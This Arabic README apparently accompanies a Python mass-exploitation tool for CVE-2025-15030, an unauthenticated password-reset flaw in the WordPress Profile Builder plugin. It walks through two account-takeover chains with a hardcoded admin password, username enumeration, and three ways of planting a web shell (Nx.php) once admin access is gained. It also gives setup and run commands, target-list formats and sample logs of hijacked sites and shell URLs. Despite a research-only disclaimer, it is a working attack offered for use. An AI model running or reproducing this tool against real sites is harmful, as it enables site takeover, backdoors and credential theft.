
User Profile Builder < 3.15.2 - إعادة تعيين كلمة مرور عشوائية بدون مصادقة
مُنشئ ملفات تعريف المستخدمين < 3.15.2 - إعادة تعيين كلمة المرور التعسفية دون مصادقة
____ _ _____ ____ ____ ____ ____ _ ____ ____ _____ ____
/ _\/ \ |\/ __/ /_ \/ _ \/_ \/ ___\ / \/ ___\/ _ \\__ \/ _ \
| / | | //| \ _____ / /| / \| / /| \_____ | || \| / \| / || / \|
| \__| \// | /_\____\/ /_| \_/|/ /_\___ |\____\| |\___ || \_/| _\ || \_/|
\____/\__/ \____\ \____/\____/\____/\____/ \_/\____/\____//____/\____/
السبب الجذري:
لا يقوم تدفق استرداد كلمة المرور في إضافة Profile Builder (action2=recover_password2) بالتحقق بشكل صحيح من مفتاح إعادة التعيين أو فرض انتهاء صلاحية الرمز. من خلال إرسال طلب POST مُصمم يحتوي على password_recovery_nonce_field2 صالح مستخرج من صفحة إعادة التعيين، يمكن لمهاجم غير مصادق تعيين كلمة مرور جديدة لأي مستخدم ووردبريس — بما في ذلك المسؤولين — مع معرفة اسم المستخدم فقط. لا يلزم أي تفاعل عبر البريد الإلكتروني أو رمز إعادة تعيين صالح.
تنفذ هذه الأداة سلسلتي هجوم مستقلتين ضد كل هدف، تتبعهما نشر شيل اختياري:
┌────────────────────────────────────────────────────────────────────┐
│ السلسلة 1 · النواة (استغلال إعادة التعيين الأصلي لـ wp-login) │
│ │
│ POST /wp-login.php?action=lostpassword (تشغيل إعادة التعيين) │
│ GET /wp-login.php?action=rp&key=... (متابعة رابط إعادة التعيين) │
│ POST /wp-login.php?action=resetpass (حقن كلمة مرور جديدة) │
│ تعداد أسماء المستخدمين → محاولة تسجيل دخول صارمة → تحقق من /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ السلسلة 2 · PB (إعادة تعيين Profile Builder من الرابط) │
│ │
│ تحميل روابط إعادة التعيين من pb_reset_links.txt │
│ GET <reset_url> → استخراج nonce + userData │
│ POST action2=recover_password2 → تعيين كلمة مرور جديدة │
│ تسجيل دخول صارم → تحقق من الوصول إلى /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ رفع الشيل (يعمل بعد أي إصابة مؤكدة للمسؤول) │
│ │
│ الطريقة 1 → رفع عبر plugin-install.php (Nxploited.zip) │
│ الطريقة 2 → REST API /wp-json/wp/v2/plugins │
│ الطريقة 3 → محرر الإضافة/القالب (كتابة Nx.php مباشرة) │
│ التحقق → GET /wp-content/plugins/Nxploited/Nx.php │
│ التسجيل → scan_results/shells.txt │
└────────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-15030.git
cd CVE-2025-15030
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
rich>=13.0.0
ضع Nxploited.zip في نفس الدليل الذي يوجد به السكربت لتمكين رفع الشيل. تعمل الأداة بدونه لكن سيتم تخطي نشر الشيل.
python3 CVE-2025-15030.py
ملف قائمة الأهداف (رابط واحد لكل سطر): list.txt
الخيوط (المواقع المتزامنة) [5]: 5
مهلة HTTP (ثوانٍ) [10]: 10
ملف الإخراج لنجاحات إعادة تعيين wp-login الأساسية: scan_results/wp_login_reset_success.txt
ملف الإخراج لشيلات Nxploited: scan_results/shells.txt
ملف روابط إعادة تعيين Profile Builder (اختياري): pb_reset_links.txt
كلمة المرور المستخدمة لجميع محاولات إعادة التعيين وتسجيل الدخول ثابتة داخليًا:
Nxploited_adminSA
list.txt — الأهداف (مطلوب)https://target1.com
target2.com
http://target3.com/wordpress
pb_reset_links.txt — روابط إعادة تعيين Profile Builder (اختياري)إذا كنت قد التقطت روابط إعادة تعيين كلمة المرور عبر البريد الإلكتروني من Profile Builder، الصقها هنا سطرًا واحدًا لكل رابط. ستقوم الأداة بـ:
password_recovery_nonce_field2 + userDataaction2=recover_password2https://target1.com/wp-login.php?action=rp&key=ABC123&login=admin
https://target2.com/?page_id=5&action=recover_password&key=XYZ&login=editor
تكتشف الأداة تلقائيًا أسماء مستخدمي ووردبريس باستخدام ثلاث طرق قبل محاولة تسجيل الدخول:
| الطريقة | النقطة النهائية |
|---|---|
يتم التحقق من كل محاولة تسجيل دخول بدقة قبل كتابة النتائج. تتحقق الأداة من:
/wp-admin/index.php → id="adminmenu", id="wpadminbar"
/wp-admin/users.php → مؤشر users.php
/wp-admin/plugins.php → مؤشر plugins.php
/wp-admin/plugin-install.php → upload-plugin, plugin-install-tab
يتم كتابة النتيجة على القرص فقط عند تأكيد ≥ 3 علامات مسؤول.
بعد تأكيد جلسة المسؤول، تحاول الأداة ثلاث طرق تصعيد بالترتيب:
التحقق من الشيل: GET /wp-content/plugins/Nxploited/Nx.php → HTTP 200
| الملف | المحتويات |
|---|---|
scan_results/wp_login_reset_success.txt | إصابات المسؤول المؤكدة عبر سلسلة النواة |
scan_results/shells.txt | روابط الشيل المنشورة مع بيانات الاعتماد |
wp_login_reset_success.txt
[2025-06-01T14:22:10] https://target.com | https://target.com/wp-login.php | account=admin pass=Nxploited_adminSA
shells.txt
[2025-06-01 14:22:18] https://target.com - admin:Nxploited_adminSA - SHELL: https://target.com/wp-content/plugins/Nxploited/Nx.php
[host] https://target.com
CORE: KEY=OK , RESET=OK , ACCESS=1 |
PB: KEY=FAIL, RESET=FAIL, ACCESS=0 |
SHELL: OK | LOGIN: https://target.com/wp-login.php
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
لأغراض البحث الأمني المصرح به والتعليم فقط.
لا يتحمل المؤلف أي مسؤولية عن أي استخدام لهذه الأداة
ضد أنظمة لا يملكها المشغل أو ليس لديه إذن كتابي صريح لاختبارها.
الاستخدام غير المصرح به ينتهك قانون CFAA و CMA والقوانين المماثلة
في جميع أنحاء العالم وقد يؤدي إلى ملاحقة جنائية.
أنت وحدك المسؤول عن أفعالك.
© 2025 Nxploited · مُنشئ ملفات تعريف المستخدمين < 3.15.2 · تم الإصلاح في 3.15.2
| الحقل | التفاصيل |
|---|
| CVE | CVE-2025-15030 |
| CVSS | 9.8 خطير — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| الإضافة | مُنشئ ملفات تعريف المستخدمين لووردبريس |
| المتأثر | جميع الإصدارات قبل 3.15.2 |
| المصادقة | لا يتطلب مصادقة |
| النوع | إعادة تعيين كلمة مرور غير صحيحة — الاستيلاء على الحساب دون مصادقة |
| CWE | CWE-640 · آلية استرداد كلمة مرور ضعيفة |
| إعادة توجيه المؤلف |
/?author=1 → /?author=10 |
| REST API | /wp-json/wp/v2/users |
| الاستدلال على اسم المضيف | التسمية الأولى لاسم النطاق |
| الاحتياطي الافتراضي | يتم تضمين admin دائمًا |
| الطريقة | النقطة النهائية | المشغل |
|---|
| رفع الإضافة | /wp-admin/update.php?action=upload-plugin | رفع Nxploited.zip عبر نموذج التثبيت |
| REST API | /wp-json/wp/v2/plugins | POST مباشر لملف ZIP |
| كتابة المحرر | /wp-admin/plugin-editor.php | كتابة Nx.php عبر محرر الملفات |
| العمود |
|---|
| المعنى |
|---|
KEY | تم بدء تدفق إعادة التعيين بنجاح |
RESET | قبل الخادم كلمة المرور الجديدة |
ACCESS | عدد عمليات تسجيل الدخول المؤكدة للمسؤول |
SHELL | OK إذا تم تأكيد أن Nx.php نشط |